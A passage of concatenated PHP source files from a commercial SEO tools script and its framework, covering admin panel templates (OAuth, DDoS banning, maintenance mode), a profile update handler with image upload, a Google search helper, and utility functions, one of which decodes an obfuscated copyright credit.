$description); $keywords = ($keywords == '' ? $noKey : $keywords); //Return as Array return array($title,$description,$keywords, $openG, $lenTitle , $lenDes, $viewport, $author, $siteName); } ?><file_sep><?php /* * @author Balaji * @name: AtoZ SEO Tools v2 - PHP Script * @copyright 2020 ProThemes.Biz * */ function googleCSEQueryCheck($searchQuery,$domain='com') { $apiKey = '<KEY>'; $lang = 'en'; $cx = '017909049407101904515:7faowvtrjra'; $cseToken = '<KEY>:1520511712122'; //Update $googleDomain = 'www.google.'.$domain; $apiary = rand(400,499); $sigRnd = rand(10,50); //$searchQuery = urlencode($searchQuery); $url = 'https://www.googleapis.com/customsearch/v1element?key='.$apiKey.'&rsz=filtered_cse&num=10&hl='.$lang. '&prettyPrint=false&source=gcsc&gss=.'.$domain.'&sig='.$sigRnd.'68fa9a9824ad4f837cbd399d21811d&cx='.$cx.'&q='.$searchQuery.'&cse_tok='.$cseToken.'&sort=&googlehost='.$googleDomain.'&oq='.$searchQuery.'&gs_l=partner-generic.3...3755.4403.0.5029.6.5.0.0.0.0.489.909.1j3j4-1.5.0.gsnos%2Cn%3D13...0.625j94185j6..1ac.1.25.partner-generic..6.0.0.pUwvdJkFQA8&callback=google.search.Search.apiary19'.$apiary; $data = curlGET($url); $data = explode('google.search.Search.apiary19'.$apiary.'(',$data); $data = explode(');',$data[1]); $data = $data[0]; $data = json_decode($data, true); $dataRes = $data['cursor']['estimatedResultCount']; if ($dataRes == '') return false; if($dataRes == 0) return false; return true; } <file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <div class="row" style="padding-left: 5px;"> <div class="col-md-8"> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php isSelected($enable_reg,true,'2') ?> type="checkbox" name="enable_reg" /> Enable user registration and login system </label> </div> </div> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php isSelected($enable_oauth,true,'2') ?> type="checkbox" name="enable_oauth" /> Enable OAuth authentication support(Google, Facebook, Twitter etc) </label> </div> </div> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php isSelected($quick_login,true,'2') ?> type="checkbox" name="enable_quick" /> Enable quick login windows </label> </div> </div> <div class="form-group"> <label for="visitors_limit">Visitors Limit:</label> <input type="text" placeholder="Enter your visitors limit" name="visitors_limit" id="visitors_limit" value="<?php echo $visitors_limit; ?>" class="form-control"> </div> <div class="callout callout-warning"> <p>Note: "0" refers no limit! This feature, allow the guest users to access tools only for x number of times. After that they forced to login. </p> </div> <br /> <div class="box-header with-border"> <h3 class="box-title">Oauth Settings - Google</h3> </div><!-- /.box-header --> <br /> <div class="form-group"> <label>Client ID</label> <input type="text" placeholder="Enter your google api application id" name="oauth[g_client_id]" value="<?php echo $oauth_keys['oauth']['g_client_id']; ?>" class="form-control" /> </div> <div class="form-group"> <label>Client Secret Code</label> <input type="text" placeholder="Enter your google api application secret code" name="oauth[g_client_secret]" value="<?php echo $oauth_keys['oauth']['g_client_secret']; ?>" class="form-control" /> </div> <div class="form-group"> <label>Redirect Uri (Callback)</label> <input readonly="" type="text" placeholder="Enter callback link" name="oauth[g_redirect_uri]" value="<?php echo $oauth_keys['oauth']['g_redirect_uri']; ?>" class="form-control" /> </div> <br /> <div class="box-header with-border"> <h3 class="box-title">Oauth Settings - Facebook</h3> </div><!-- /.box-header --> <br /> <div class="form-group"> <label>Application ID:</label> <input type="text" placeholder="Enter your facebook application id" name="oauth[fb_app_id]" value="<?php echo $oauth_keys['oauth']['fb_app_id']; ?>" class="form-control" /> </div> <div class="form-group"> <label>Application Secret Code:</label> <input type="text" placeholder="Enter your facebook application secret code" name="oauth[fb_app_secret]" value="<?php echo $oauth_keys['oauth']['fb_app_secret']; ?>" class="form-control" /> </div> <div class="form-group"> <label>Redirect Uri (Callback)</label> <input readonly="" type="text" placeholder="Enter callback link" name="oauth[fb_redirect_uri]" value="<?php echo $oauth_keys['oauth']['fb_redirect_uri']; ?>" class="form-control" /> </div> <br /> <div class="box-header with-border"> <h3 class="box-title">Oauth Settings - Twitter</h3> </div><!-- /.box-header --> <br /> <div class="form-group"> <label>Consumer Key:</label> <input type="text" placeholder="Enter your twitter consumer key" name="oauth[twitter_key]" value="<?php echo $oauth_keys['oauth']['twitter_key']; ?>" class="form-control"> </div> <div class="form-group"> <label>Consumer Secret:</label> <input type="text" placeholder="Enter your twitter consumer secret" name="oauth[twitter_secret]" value="<?php echo $oauth_keys['oauth']['twitter_secret']; ?>" class="form-control"> </div> <div class="form-group"> <label>Redirect Uri (Callback)</label> <input readonly="" type="text" placeholder="Enter callback link" name="oauth[twitter_redirect_uri]" value="<?php echo $oauth_keys['oauth']['twitter_redirect_uri']; ?>" class="form-control"> </div> <br /> <input type="submit" name="save" value="Save" class="btn btn-primary"/> <br /> </div> </div> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $footerAddArr[] = <<<EOD <script> $(function () { $('input').iCheck({ checkboxClass: 'icheckbox_square-blue', radioClass: 'iradio_square-blue', increaseArea: '100%' }); }); </script> EOD; ?> <file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?> <div class="col-md-8"> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php isSelected($other['other']['ddos'],true,'2') ?> type="checkbox" name="ddos" /> Enable application level DDoS protection </label> </div> </div> <div class="form-group"> <label>Maximum number of request per second consider as attack: </label> <input value="<?php echo $taskData['maxcount']; ?>" required="" type="number" class="form-control" name="maxcount" /> </div> <div class="callout callout-danger"> <p> - It is not real DDoS protection. It can't helpful for medium or large level DDoS attacks. It only enable application level protection that helps to protect from application layer attackers. </p> <p> - Never set minimum number as attack. Web pages generally makes multiple request for loading CSS / Images / JS etc... So valid request consider as attack on lower number.</p> </div> <input type="submit" value="Save" class="btn btn-primary" /> <br /><br /> </div> </div><!-- /.box-body --> </form> </div> <div class="box box-danger"> <div class="box-header with-border"> <!-- tools box --> <h3 class="box-title"> Suspicious IP's <small>(Below IP address are banned by DDoS detection. It will be reset every day automatically)</small> </h3> </div> <div class="box-body"> <table id="seoToolTable" class="table table-bordered table-striped"> <thead> <tr> <th>Banned IP</th> <th>Added Date</th> <th>Delete</th> </tr> </thead> <tbody> <?php if(count($taskData[$date]['banned']) == 0){ echo '<tr><td colspan="3" class="text-center">List Empty!</td></tr>'; }else{ foreach($taskData[$date]['banned'] as $bannedKey => $bannedIp){ echo '<tr> <td>'.$bannedIp.'</td> <td>'.$date.'</td> <td><a class="btn btn-danger btn-xs" onclick="return confirm(\'Are you sure you want to delete this item?\');" title="Delete" href='.adminLink($controller.'/delete/'.$bannedKey,true).'> <i class="fa fa-trash-o"></i> &nbsp; Delete </a></td> </tr>'; } } ?> </tbody> </table> </div><!-- /.box-body --> </div> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $footerAddArr[] = <<<EOD <script> $(function () { $('input').iCheck({ checkboxClass: 'icheckbox_square-blue', radioClass: 'iradio_square-blue', increaseArea: '100%' }); }); </script> EOD; ?> <file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2020 ProThemes.Biz * */ $pageTitle = $lang['RF83']; $des = $keyword = $countryCode = $country = $userCountry = $address2 = $company = ''; if(!isset($_SESSION[N_APP.'Username'])){ redirectTo(createLink('account/login',true)); die(); } //Get Username $username = $_SESSION[N_APP.'Username']; $addInfo = false; $errorCheckData = true; require_once (LIB_DIR . 'geoip.inc'); $gi = geoip_open(LIB_DIR.'GeoIP.dat', GEOIP_MEMORY_CACHE); if ($_SERVER['REQUEST_METHOD'] == 'POST'){ if(isset($_POST['password'])){ $userPassData = getUserInfo($username,$con); $userOldPass = $userPassData['password']; $new_pass = passwordHash(escapeTrim($con, $_POST['new_pass'])); $retype_pass = passwordHash(escapeTrim($con, $_POST['retype_pass'])); $old_pass = passwordHash(escapeTrim($con, $_POST['old_pass'])); if($new_pass == $retype_pass){ if($old_pass == $userOldPass || isset($_SESSION[N_APP.'AdminToken'])){ $res = updateToDbPrepared($con, 'users', array('password' => $new_<PASSWORD>), array('username' => $username)); if ($res) $msg = errorMsg(mysqli_error($con)); else $msg = successMsg($lang['RF94']); }else{ $msg = errorMsg($lang['RF95']); } }else{ $msg = errorMsg($lang['RF96']); } } if(isset($_POST['user'])){ $fullname = escapeTrim($con, $_POST['fullname']); $firstname = escapeTrim($con, $_POST['firstname']); $lastname = escapeTrim($con, $_POST['lastname']); $company = escapeTrim($con, $_POST['company']); $telephone = escapeTrim($con, $_POST['telephone']); $country = escapeTrim($con, $_POST['country']); $address1 = escapeTrim($con, $_POST['address1']); $address2 = escapeTrim($con, $_POST['address2']); $city = escapeTrim($con, $_POST['city']); $postcode = escapeTrim($con, $_POST['postcode']); $state = escapeTrim($con, $_POST['state']); $stateStr = escapeTrim($con, $_POST['statestr']); $userID = getUserID($username,$con); $nowDate = date('m/d/Y h:i:sA'); if ($address1 != null && $city != null && $postcode != null && $state != null && $firstname != null && $telephone!=null && $country!= null){ if($userID !== false){ $res = updateToDbPrepared($con, 'users', array( 'full_name' => $fullname, 'firstname' => $firstname, 'lastname' => $lastname, 'company' => $company, 'telephone' => $telephone, 'address1' => $address1, 'address2' => $address2, 'city' => $city, 'state' => $state, 'statestr' => $stateStr, 'postcode' => $postcode, 'country' => $country), array('id' => $userID)); if (!$res) { $errorCheckData = false; if($_FILES["logoUpload"]["name"] != ''){ $target_dir = ROOT_DIR."uploads/users/"; $target_filename = basename($_FILES["logoUpload"]["name"]); $uploadSs = 1; $check = getimagesize($_FILES["logoUpload"]["tmp_name"]); // Check it is a image if ($check !== false) { // Check if file already exists $target_filename = unqFile($target_dir,$target_filename); $target_file = $target_dir . $target_filename; $imageFileType = pathinfo($target_file, PATHINFO_EXTENSION); // Check file size if ($_FILES["logoUpload"]["size"] > 500000) { $msg = errorMsg($lang['RF97']); $uploadSs = 0; } else { // Allow certain file formats if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif"){ $msg = errorMsg($lang['RF98']); $uploadSs = 0; } } // Check if $uploadSs is set to 0 by an error if (!$uploadSs == 0) { if (move_uploaded_file($_FILES["logoUpload"]["tmp_name"], $target_file)) { //Uploaded $file_path = 'uploads/users/'.$target_filename; $query = "UPDATE users SET picture='$file_path' WHERE id='$userID'"; mysqli_query($con,$query); } else { $msg = errorMsg($lang['RF99']); } } } else { $msg = errorMsg($lang['RF100']); } }else{ $errorCheckData = false; } } } } if($errorCheckData){ //Error if(!isset($msg)) $msg = errorMsg($lang['AN10']); }else{ //Fine if(!isset($msg)) $msg = successMsg($lang['RF101']); } } } $userInfo = getUserInfo($username,$con); if(Trim($userInfo['firstname']) != '') $addInfo = true; $countryCode = $country; $userCountry = geoip_country_name_by_addr($gi,$userInfo['ip']); $country = country_code_to_country($country); if($userCountry == ''){ if(isset($country)){ $userCountry = ucfirst($country); }else{ $userCountry = $lang['RF102']; } } //Default Logo $userDefaultLogo = $baseURL.'theme/default/img/user-default.png'; if($userInfo['picture'] == '' || strtolower($userInfo['picture']) == 'none' || $userInfo['picture'] == null) $userLogo = $userDefaultLogo; else{ if(!file_exists(ROOT_DIR.$userInfo['picture'])) $userLogo = $userDefaultLogo; else $userLogo = $baseURL.$userInfo['picture']; } geoip_close($gi);<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2019 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <table class="table table-bordered"> <tbody> <tr> <th>#</th> <th>Task</th> <th>Overall Stats</th> </tr> <tr> <td>1</td> <td>Active SEO Tools</td> <td><span class="label label-primary"><?php echo $stats['active_seo']; ?></span></td> </tr> <tr> <td>2</td> <td>Inactive SEO Tools</td> <td><span class="label label-danger"><?php echo $stats['inactive_seo']; ?></span></td> </tr> <tr> <td>3</td> <td>Users</td> <td><span class="label label-warning"><?php echo $stats['total_users']; ?></span></td> </tr> <tr> <td>4</td> <td>Banned Users</td> <td><span class="label label-success"><?php echo $stats['banned_user']; ?></span></td> </tr> <tr> <td>5</td> <td>Unverified Users</td> <td><span class="label label-danger"><?php echo $stats['unverified']; ?></span></td> </tr> <tr> <td>6</td> <td>Banned IPs</td> <td><span class="label label-info"><?php echo $stats['banned_ips']; ?></span></td> </tr> <!-- <tr> <td>7</td> <td>Page Views</td> <td><span class="label label-success"><?php echo $stats['page_view']; ?></span></td> </tr> <tr> <td>8</td> <td>Unique Visitors</td> <td><span class="label label-info"><?php echo $stats['unique_view']; ?></span></td> </tr> --> </tbody></table> <br /> <div class="box-header with-border"> <h3 class="box-title">Last 10 days Pageview status</h3> </div> <div class="table-responsive"> <table class="table table-bordered"> <tbody> <tr> <th style="width: 10px">#</th> <th>Date</th> <th>Unique Visitors</th> <th>Sessions</th> <th>Page Views</th> </tr> <?php echo $tableData; ?> </tbody> </table> </div> <br /> <br /> </div><!-- /.box-body --> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ function genMeta($metaTitle,$metaDescription,$metaKeywords,$robotsIndex,$robotsLinks,$contentType,$lang,$revisitdays,$authorname,$checkRevisit,$checkAuthor){ $metaTitle = ucfirst($metaTitle); $metaKeywords = str_replace(array("\r\n", "\r", "\n", '"'),"", $metaKeywords); $metaDescription = str_replace(array("\r\n", "\r", "\n", '"'),"", $metaDescription); $data .= '<meta name="title" content="' . $metaTitle . '">' . PHP_EOL; $data .= '<meta name="description" content="' . $metaDescription . '">' . PHP_EOL; $data .= '<meta name="keywords" content="' . $metaKeywords . '">' . PHP_EOL; $data .= '<meta name="robots" content="' . $robotsIndex . ', ' . $robotsLinks . '">' . PHP_EOL; $data .= '<meta http-equiv="Content-Type" content="' . $contentType . '">' . PHP_EOL; if($lang != "N/A"){ $data .= '<meta name="language" content="' . $lang . '">' . PHP_EOL; } if($checkRevisit){ $data .= '<meta name="revisit-after" content="' . $revisitdays . ' days">' . PHP_EOL; } if($checkAuthor){ $data .= '<meta name="author" content="' . $authorname . '">' . PHP_EOL; } return htmlspecialchars($data); } ?><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools * @copyright © 2017 ProThemes.Biz * */ $data = $info = null; $data = '172.16.31.10.106.97.104.108.24.70.89.101.93.50.24.57.24.108.103.24.82.24.75.61.71.24.76.103.103.100.107.5.2.57.109.108.96.103.106.50.24.58.89.100.89.98.97.5.2.59.103.104.113.106.97.95.96.108.24.161.24.42.40.41.47.24.72.106.103.76.96.93.101.93.107.38.58.97.114.5.2.106'; $data_count = strlen($data); $dec = explode(".", $data); $x = count($dec); $y = $x-1; $calc = $dec[$y]-50; $randkey = chr($calc); $i = 0; while ($i < $y) { $array[$i] = $dec[$i]+$randkey; $info .= chr($array[$i]); $i++; }; echo $info; ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title">General Settings</h3> </div><!-- /.box-header --> <form action="#" method="POST" onsubmit="return finalFixedLink();"> <div class="box-body"> <?php if(isset($msg)){ echo $msg; }?> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="tool_name">Tool Name</label> <input type="text" placeholder="Enter your tool name" value="<?php echo $tool_name; ?>" name="tool_name" class="form-control" /> </div> <div class="form-group"> <label for="tool_url">Tool URL</label> <small id="linkBox"> (<?php createLink($tool_url); ?>) </small> <input type="text" placeholder="Enter your tool url" value="<?php echo $tool_url; ?>" name="tool_url" id="toolUrlBox" class="form-control" /> </div> <div class="form-group"> <label for="meta_des">Meta Description</label> <textarea placeholder="Description must be within 150 Characters" rows="3" name="meta_des" class="form-control"><?php echo $meta_des; ?></textarea> </div> <div class="form-group"> <label for="tool_show">Enable the SEO Tool (Currently: <span style="color: #<?php echo $tool_show_color; ?>"><?php echo $tool_show_text; ?></span>)</label> <select class="form-control" name="tool_show"> <option <?php echo $tool_show_yes; ?> value="yes">Activate</option> <option <?php echo $tool_show_no; ?> value="no">Deactivate</option> </select> </div> <div class="form-group"> <label for="tool_login">Login required to access this tool (Currently: <span style="color: #<?php echo $tool_login_color; ?>"><?php echo $tool_login_text; ?></span>)</label> <select class="form-control" name="tool_login"> <option <?php echo $tool_login_yes; ?> value="yes">Needed</option> <option <?php echo $tool_login_no; ?> value="no">Not Needed</option> </select> </div> </div><!-- /.col-md-6 --> <div class="col-md-6"> <div class="form-group"> <label for="tool_no">Sort Order</label> <input type="text" placeholder="Enter sort order number" value="<?php echo $tool_no; ?>" name="tool_no" class="form-control" /> </div> <div class="form-group"> <label for="meta_title">Meta Title</label> <input type="text" placeholder="Enter your meta title" value="<?php echo $meta_title; ?>" name="meta_title" class="form-control" /> </div> <div class="form-group"> <label for="meta_tags">Keywords (Separate with commas)</label> <textarea placeholder="keywords1, keywords2, keywords3" rows="3" name="meta_tags" class="form-control"><?php echo $meta_tags; ?></textarea> </div> <div class="form-group"> <label for="captcha">Enable captcha protection for this tool (Currently: <span style="color: #<?php echo $captcha_color; ?>"><?php echo $captcha_text; ?></span>)</label> <select class="form-control" name="captcha"> <option <?php echo $captcha_yes; ?> value="yes">Activate</option> <option <?php echo $captcha_no; ?> value="no">Deactivate</option> </select> </div> </div> </div><!-- /.row --> <div class="row"> <div class="form-group" style="margin: 12px;"> <label for="about_tool">About this SEO Tool</label> <textarea id="editor1" name="about_tool" class="form-control"><?php echo $about_tool; ?></textarea> </div> </div> <input type="submit" name="save" value="Save" class="btn btn-primary"/> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $pageLink = createLink('',true); $filebrowserBrowseUrl = createLink('core/library/filemanager/dialog.php?type=2&editor=ckeditor&fldr=',true); $filebrowserUploadUrl = createLink('core/library/filemanager/dialog.php?type=2&editor=ckeditor&fldr=',true); $filebrowserImageBrowseUrl = createLink('core/library/filemanager/dialog.php?type=1&editor=ckeditor&fldr=',true); $footerAddArr[] = <<<EOD <script type="text/javascript"> $(function () { // Replace the <textarea id="editor1"> with a CKEditor // instance, using default configuration. CKEDITOR.replace('editor1',{ filebrowserBrowseUrl : '$filebrowserBrowseUrl', filebrowserUploadUrl : '$filebrowserUploadUrl', filebrowserImageBrowseUrl : '$filebrowserImageBrowseUrl' }); CKEDITOR.on( 'dialogDefinition', function( ev ) { // Take the dialog name and its definition from the event // data. var dialogName = ev.data.name; var dialogDefinition = ev.data.definition; // Check if the definition is from the dialog we're // interested on (the Link and Image dialog). if ( dialogName == 'link' || dialogName == 'image' ) { // remove Upload tab dialogDefinition.removeContents( 'Upload' ); } }); }); </script> <script> var mainLink = "$pageLink"; $("#toolUrlBox").focus(function (){ fixLinkBox() }); $("#toolUrlBox").keypress(function (){ fixLinkBox() }); $("#toolUrlBox").blur(function (){ fixLinkBox(); }); $("#toolUrlBox").click(function (){ fixLinkBox() }); function fixLinkBox(){ var pageUrl= jQuery.trim($('input[name=tool_url]').val()); var ref = uriFix(pageUrl); $("#linkBox").html(" (" + mainLink + ref + ") "); } function finalFixedLink(){ var pageUrl= jQuery.trim($('input[name=tool_url]').val()); var ref = uriFix(pageUrl); $("#toolUrlBox").val(ref); return true; } </script> EOD; ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?> <div class="row" style="padding-left: 5px;"> <div class="col-md-8"> <br /> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php if ($maintenance_mode) echo 'checked="true"'; ?> type="checkbox" name="maintenance_mode" /> Enable maintenance mode (Users can't able to access the site!). </label> </div> </div> <div class="form-group"> <label for="maintenance_mes">Maintenance Reason</label> <textarea class="form-control" id="maintenance_mes" name="maintenance_mes" placeholder="Enter your reason"><?php echo $maintenance_mes; ?></textarea> </div> <div class="callout callout-info"> <p>Note: Administrators still have access the full site!</p> </div> <br /> </div> </div> <input type="submit" name="save" value="Save" class="btn btn-primary"/> <br /> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $footerAddArr[] = <<<EOD <script> $(function () { $('input').iCheck({ checkboxClass: 'icheckbox_square-blue', radioClass: 'iradio_square-blue', increaseArea: '20%' }); }); </script> EOD; ?> <file_sep><?php /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2019 ProThemes.Biz * */ function dbConncet($mysql_host,$mysql_user,$mysql_pass,$mysql_database){ $con = mysqli_connect($mysql_host,$mysql_user,$mysql_pass,$mysql_database); if (mysqli_connect_errno()) stop("Unable to connect to Mysql Server"); return $con; } function isValidUsername($str){ return !preg_match('/[^A-Za-z0-9.#\\-$]/', $str); } function isValidEmail($email){ return filter_var($email, FILTER_VALIDATE_EMAIL); } function isValidSite($site) { return !preg_match('/^[a-z0-9\-]+\.[a-z]{2,100}(\.[a-z]{2,14})?$/i', $site); } function isValidIPv4($ip){ if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) return true; return false; } function isValidIPv6($ip){ if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) return true; return false; } function str_contains($data, $searchString, $ignoreCase = false){ if ($ignoreCase){ $data = strtolower($data); $searchString = strtolower($searchString); } $needlePos = strpos($data, $searchString); return ($needlePos === false ? false : ($needlePos + 1)); } function raino_trim($str){ $str = Trim(htmlspecialchars($str)); return $str; } function randomChar($count=9){ $count = intval($count); $alphabet = '<KEY>'; $pass = array(); $alphaLength = strlen($alphabet) - 1; for ($i = 0; $i < $count; $i++){ $n = rand(0, $alphaLength); $pass[] = $alphabet[$n]; } return implode($pass); } function randomPassword(){ $alphabet = 'abcdefghijklmnopqrstuwxyzABCDEFGHIJKLMNOPQRSTUWXYZ0123456789'; $pass = array(); $alphaLength = strlen($alphabet) - 1; for ($i = 0; $i < 9; $i++){ $n = rand(0, $alphaLength); $pass[] = $alphabet[$n]; } return implode($pass); } function escapeMe($con,$data){ return mysqli_real_escape_string($con, $data); } function escapeTrim($con,$data){ $data = Trim(htmlspecialchars($data)); return mysqli_real_escape_string($con, $data); } function roundSize($size){ $i = 0; $iec = array( "B", "Kb", "Mb", "Gb", "Tb"); while (($size / 1024) > 1) { $size = $size / 1024; $i++; } return (round($size, 1) . " " . $iec[$i]); } function encrypt($string,$secretKey,$secretIv) { $encrypt_method = "AES-256-CBC"; $key = hash('sha256', $secretKey); $iv = substr(hash('sha256', $secretIv), 0, 16); $output = openssl_encrypt($string, $encrypt_method, $key, 0, $iv); $output = base64_encode($output); return $output; } function decrypt($encryptedString,$secretKey,$secretIv) { $encrypt_method = "AES-256-CBC"; $key = hash('sha256', $secretKey); $iv = substr(hash('sha256', $secretIv), 0, 16); $output = openssl_decrypt(base64_decode($encryptedString), $encrypt_method, $key, 0, $iv); return $output; } function truncate($input, $maxWords, $maxChars){ $words = preg_split('/\s+/', $input); $words = array_slice($words, 0, $maxWords); $words = array_reverse($words); $chars = 0; $truncated = array(); while(count($words) > 0) { $fragment = trim(array_pop($words)); $chars += strlen($fragment); if($chars > $maxChars) break; $truncated[] = $fragment; } $result = implode($truncated, ' '); return $result . ($input == $result ? '' : '...'); } function strInt($input) { $output = null; $inputlen = strlen($input); $randkey = rand(1, 9); $i = 0; while ($i < $inputlen){ $inputchr[$i] = (ord($input[$i]) - $randkey); $i++; } $output = implode('.', $inputchr) . '.' . (ord($randkey)+50); return $output; } function intStr($input) { $output = null; $input_count = strlen($input); $dec = explode(".", $input); $x = count($dec); $y = $x-1; $calc = $dec[$y]-50; $randkey = chr($calc); $i = 0; while ($i < $y) { $array[$i] = $dec[$i]+$randkey; $output .= chr($array[$i]); $i++; }; return $output; } function makeUrlFriendly($input){ $output = preg_replace("/\s+/" , "_" , raino_trim($input)); $output = preg_replace("/\W+/" , "" , $output); $output = preg_replace("/_/" , "-" , $output); return strtolower($output); } function rgb2hex(array $rgb=array(0,0,0)){ $hex = '#'; $hex .= str_pad(dechex($rgb[0]), 2, "0", STR_PAD_LEFT); $hex .= str_pad(dechex($rgb[1]), 2, "0", STR_PAD_LEFT); $hex .= str_pad(dechex($rgb[2]), 2, "0", STR_PAD_LEFT); return $hex; } function hex2rgb($hex){ $hex = str_replace('#', '', $hex); if (strlen($hex) == 3) { $r = hexdec(substr($hex, 0, 1) . substr($hex, 0, 1)); $g = hexdec(substr($hex, 1, 1) . substr($hex, 1, 1)); $b = hexdec(substr($hex, 2, 1) . substr($hex, 2, 1)); } else { $r = hexdec(substr($hex, 0, 2)); $g = hexdec(substr($hex, 2, 2)); $b = hexdec(substr($hex, 4, 2)); } $rgb ="$r,$g,$b"; return $rgb; } function getFrameworkVersion() { return '1.4'; } function getServerMemoryUsage(){ $memory_usage = 'Not Available'; $free = shell_exec('free'); if(!nullCheck($free)){ $free = (string)trim($free); $free_arr = explode("\n", $free); $mem = explode(" ", $free_arr[1]); $mem = array_filter($mem); $mem = array_merge($mem); $memory_usage = round($mem[2] / $mem[1] * 100); } return $memory_usage; } function getServerCpuUsage() { if (function_exists('sys_getloadavg')){ $load = sys_getloadavg(); return $load[0]; }else { return 'Not Available'; } } function clean_url($site) { $site = strtolower($site); $site = str_replace(array( 'http://', 'https://', 'www.'), '', $site); return $site; } function clean_with_www($site) { $site = strtolower($site); $site = str_replace(array( 'http://', 'https://'), '', $site); return $site; } function getTimeZone(){ return date_default_timezone_get(); } function setTimeZone($value) { date_default_timezone_set($value); return true; } function getDaysOnThisMonth($month = 5, $year = '2015'){ if ($month < 1 OR $month > 12) { return 0; } if ( ! is_numeric($year) OR strlen($year) != 4) { $year = date('Y'); } if ($month == 2) { if ($year % 400 == 0 OR ($year % 4 == 0 AND $year % 100 != 0)) { return 29; } } $days_in_month = array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31); return $days_in_month[$month - 1]; } function getDomainName($site){ $site = clean_url($site); $site = parse_url('http://'.trim($site)); $host = $site['host']; return $host; } function getUserIP(){ $ip = '127.0.0.1'; 